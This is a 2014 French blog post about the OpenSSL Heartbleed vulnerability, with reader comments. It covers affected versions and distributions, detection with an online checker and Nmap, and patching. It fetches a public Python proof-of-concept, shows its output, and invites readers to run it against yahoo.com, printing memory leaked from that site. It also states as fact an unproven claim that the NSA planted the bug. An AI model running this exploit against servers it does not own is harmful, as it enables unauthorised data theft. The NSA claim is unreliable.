Alerte générale : grosse faille de sécurité dans OpenSSL


heartbleedAlerte générale : une nouvelle faille vient d'être découverte dans la librairie OpenSSL. Cet exploit, appelé aussi "The Heartbleed Bug", permet à n'importe qui sur Internet de lire la mémoire des systèmes utilisant une version vulnérable d'OpenSSL (extraction de 64K de données par requête, voir plus dans certaines conditions).

Cette technique permet de voler les clés privées et d'espionner des communications, de voler des données... et ceci sans laisser aucune trace, le top. Pour corriger le problème, il suffit simplement de mettre à jour votre distribution et notamment le paquet OpenSSL. Tous les détails techniques sont lisibles ici ou ici (en anglais).

Comment tester rapidement si mon site HTTPS est affecté par cette faille ?

Rien de plus simple, il suffit d'utiliser cet outil en ligne : filippo.io/Heartbleed/

Exemple pour Tux-planet : filippo.io/Heartbleed/#www.tux-planet.fr:443

Heartbleed

Quelles sont les versions d'OpenSSL affectées ?

  • OpenSSL 1.0.1 jusqu'à la version 1.0.1f incluse sont vulnérables (traduction, les versions 1.0.1 abcdef sont concernées)
  • OpenSSL 1.0.1g n'est pas concernée
  • La branche OpenSSL 1.0.0 n'est pas concernée
  • La branche OpenSSL 0.9.8 n'est pas concernée

Le bug a été introduit dans OpenSSL en décembre 2011 par un agent infiltré de la NSA, de quoi avoir quelques frissons.

Quels sont les systèmes affectés par cette faille ?

Voici quelques exemples de distribution Linux vulnérables :

  • Debian Wheezy (stable), OpenSSL 1.0.1e-2+deb7u4
  • Ubuntu 12.04.4 LTS, OpenSSL 1.0.1-4ubuntu5.11
  • CentOS 6.5, OpenSSL 1.0.1e-15
  • Fedora 18, OpenSSL 1.0.1e-4
  • OpenBSD 5.3 (OpenSSL 1.0.1c 10 May 2012) and 5.4 (OpenSSL 1.0.1c 10 May 2012)
  • FreeBSD 8.4 (OpenSSL 1.0.1e) and 9.1 (OpenSSL 1.0.1c)
  • NetBSD 5.0.2 (OpenSSL 1.0.1e)
  • OpenSUSE 12.2 (OpenSSL 1.0.1c)

Les systèmes suivants ne sont pas vulnérables :

  • Debian Squeeze (oldstable), OpenSSL 0.9.8o-4squeeze14
  • SUSE Linux Enterprise Server

Un script Python pour jouer un peu avec la faille

Pour ceux qui veulent faire mumuse, un script Python est disponible ici. Voici un exemple d'utilisation sur un site non vulnérable :

$ wget https://gist.githubusercontent.com/sh1n0b1/10100394/raw/4f24ff250124a03ad2d3d6010b6402c3a483d2f3/ssltest.py
$ python ssltest.py www.tux-planet.fr
Connecting...
Sending Client Hello...
Waiting for Server Hello...
... received message: type = 22, ver = 0301, length = 81
... received message: type = 22, ver = 0301, length = 681
... received message: type = 22, ver = 0301, length = 397
... received message: type = 22, ver = 0301, length = 4
Sending heartbeat request...
... received message: type = 21, ver = 0302, length = 2
Received alert:
0000: 02 46                                            .F

Server returned error, likely not vulnerable

Et sur un site vulnérable, la mémoire du processus est dumpé et retourné à l'attaquant :

PoC Heartbleed

Edit : si vous voulez jouer, le site yahoo.com est encore vulnérable :

$ python ssltest.py yahoo.com
Connecting...
Sending Client Hello...
Waiting for Server Hello...
... received message: type = 22, ver = 0302, length = 66
... received message: type = 22, ver = 0302, length = 4735
... received message: type = 22, ver = 0302, length = 331
... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
0000: 02 40 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C  .@....SC[...r...
0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90  .+..H...9.......
0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0  .w.3....f.....".
0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00  !.9.8.........5.
0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0  ................
0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00  ............3.2.
0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00  ....E.D...../...
0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00  A...............
0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01  ................
0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00  ..I...........4.

La faille Heartbleed concerne t-elle uniquement les sites en HTTPS ?

La réponse est non. La faille est au niveau OpenSSL et non au niveau du service. Les serveurs HTTPS ne sont donc pas les seuls impactés. Les services reposant sur IMAPS, SMTPS, OpenVPN, etc... sont également concernés. Voici une commande qui permet de déterminer les services à redémarrer après une mise à jour d'OpenSSL sur un serveur :

lsof | grep libssl | grep DEL

Comment scanner un réseau entier à la recherche de cette faille avec Nmap

Voici la procédure à suivre pour scanner un réseau avec l'outil Nmap. On  commence par installer Namp et les scripts qui vont bien :

sudo yum install namp / sudo apt-get install nmap
cd /usr/share/nmap/nselib/
sudo wget https://svn.nmap.org/nmap/nselib/tls.lua
cd /usr/share/nmap/scripts/
sudo wget https://svn.nmap.org/nmap/scripts/ssl-heartbleed.nse
sudo nmap --script-updatedb

On vérifie que l'on à bien une version récente de Nmap :

# nmap -V
Nmap version 6.40 ( http://nmap.org )

On lance le scan sur un réseau entier :

sudo nmap -p 25,443,636,993,8443 --script ssl-heartbleed.nse 192.168.1.0/24

La faille Heartbleed expliquée pour les nuls en une image

Pour finir, voici une petite BD en anglais qui explique comment fonctionne la faille OpenSSL Heartbleed.

Heartbleed

 


6 Commentaires pour "Alerte générale : grosse faille de sécurité dans OpenSSL"

Flux des commentaires de cet article Ajouter un commentaire
  •  

    merci, je viens de faire la mise à jour de mon serveur centos 6.5 et il n'est plus vulnérable, ce qui veut dire qu'il l'était !

    RépondreRépondre
    fgland , le 8 avril 2014 à 14:19
  •  

    Merci !

    Par contre petite question, quand je test mon serveur / d'autres domaines je me retrouve avec cette erreur :
    "Uh-oh, something went wrong: heartbleed: timeout"

    Une idée du pourquoi de la chose ?

    RépondreRépondre
    DarKou , le 9 avril 2014 à 08:24
  •  

    @DarKou : perso, je vois pas. Peut-être que le port testé n'est pas ouvert....

    RépondreRépondre
    pti-seb , le 9 avril 2014 à 08:55
  •  

    Si si... il est bien ouvert c'est là que je ne capte pas le pourquoi de la chose :D

    RépondreRépondre
    DarKou , le 9 avril 2014 à 10:19
  •  

    que signifie exactement le texte barré ? c'est une supposition erronée ou une vérité qu'on ne doit pas énoncer ?

    RépondreRépondre
    fgland , le 10 avril 2014 à 13:51
  •  

    @fgland : le texe barré signifie que c'est possible. Pour l'instant aucune preuve. j'ai lu ce matin ici que l'auteur du bug dément avoir intégré cette faille volontairement. J'ai lu également ailleurs que certaine personne auraient vu cette attaque sur leurs serveurs en novembre 2013. Aucune preuve pour le moment, donc Wait & See.

    RépondreRépondre
    pti-seb , le 11 avril 2014 à 11:21
 

Ajouter un commentaire

actualité android apache apple astuce astuces bash bilboblog blog boot chrome clavier commande commandes conky date debian Desktop développement elementary exploit faille fedora firefox flash gimp gnome google graphique Graphisme hack hacking Hardware humour intel internet iphone jailbreak Jeux Kde kernel libre Linux log logiciels Logiciels Libres lucid lynx maemo mail maquette metasploit microsoft mobile mockup monitoring mozilla multi-touch musique mysql n900 nautilus nokia noyau openoffice open source password photos php Planet publicité red hat redhat rpm réseau screenshot script serveur serveurs shell sql ssh statistiques sysadmin system Sécurité thème tux-planet tv twitter ubuntu unity vidéo vidéos vlc voyage wallpaper windows wordpress yum